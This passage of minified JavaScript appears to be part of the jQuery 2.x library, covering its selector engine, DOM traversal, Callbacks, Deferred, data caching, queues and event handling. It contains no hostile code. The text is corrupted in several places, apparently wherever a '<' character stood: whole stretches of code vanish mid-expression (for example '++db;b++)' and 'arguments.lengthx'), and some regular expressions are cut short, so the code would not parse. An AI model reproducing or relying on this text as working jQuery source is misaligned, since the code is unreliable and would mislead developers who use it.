a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
      "],col:[2,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else 